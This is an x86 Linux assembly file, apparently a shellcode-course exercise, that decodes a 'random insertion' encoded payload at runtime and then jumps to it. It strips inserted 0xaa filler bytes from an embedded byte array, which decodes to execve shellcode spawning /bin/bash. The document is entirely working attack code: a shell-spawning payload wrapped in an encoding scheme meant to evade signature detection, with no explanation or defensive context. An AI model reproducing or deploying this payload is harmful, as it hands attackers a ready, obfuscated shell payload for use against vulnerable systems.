Assembly Decoder for random insertion encoded shellcodes

decoder_execve_stack.asm

; Decoder Execve Stack Shellcode
; Author: Aditya Chaudhary
; Date: 5th Feb 2019

global _start

section .text

_start:

  xor eax, eax
  mov ebx, eax
  mov ecx, eax
  mov edx, eax
  jmp short call_shellcode

  decoder:
    pop esi
    mov cl, 0x1e ; 30
    ;lea eax, [eax + 0x1]
  decode_shellcode:
    inc bl
    inc al
    push ecx
    mov cl, byte [esi + eax] ; ecx = loop counter for inserted garbage 0xaa

    hop:
      inc eax
    loop hop ; loop over the garbage 0xaa
    inc eax

    pop ecx ; reset the loop counter to the actual shellcode length (shellcode length before encoding)

    mov dl, byte [esi + eax] ; move shellcode shellcode byte to dl
    mov byte [esi + ebx], dl ; place the shellcode byte in order
    loop decode_shellcode
    jmp esi ; pass the control to the decoded shellcode

  call_shellcode:
    call decoder
    EncodedShellcode: db 0x31,0x03,0xaa,0xaa,0xaa,0xc0,0x03,0xaa,0xaa,0xaa,0x50,0x02,0xaa,0xaa,0x89,0x02,0xaa,0xaa,0xe2,0x02,0xaa,0xaa,0x68,0x04,0xaa,0xaa,0xaa,0xaa,0x62,0x03,0xaa,0xaa,0xaa,0x61,0x05,0xaa,0xaa,0xaa,0xaa,0xaa,0x73,0x03,0xaa,0xaa,0xaa,0x68,0x01,0xaa,0x68,0x05,0xaa,0xaa,0xaa,0xaa,0xaa,0x62,0x03,0xaa,0xaa,0xaa,0x69,0x01,0xaa,0x6e,0x02,0xaa,0xaa,0x2f,0x01,0xaa,0x68,0x02,0xaa,0xaa,0x2f,0x02,0xaa,0xaa,0x2f,0x04,0xaa,0xaa,0xaa,0xaa,0x2f,0x02,0xaa,0xaa,0x2f,0x03,0xaa,0xaa,0xaa,0x89,0x05,0xaa,0xaa,0xaa,0xaa,0xaa,0xe3,0x05,0xaa,0xaa,0xaa,0xaa,0xaa,0x50,0x05,0xaa,0xaa,0xaa,0xaa,0xaa,0x53,0x03,0xaa,0xaa,0xaa,0x89,0x04,0xaa,0xaa,0xaa,0xaa,0xe1,0x05,0xaa,0xaa,0xaa,0xaa,0xaa,0xb0,0x04,0xaa,0xaa,0xaa,0xaa,0x0b,0x01,0xaa,0xcd,0x03,0xaa,0xaa,0xaa,0x80,0x04,0xaa,0xaa,0xaa,0xaa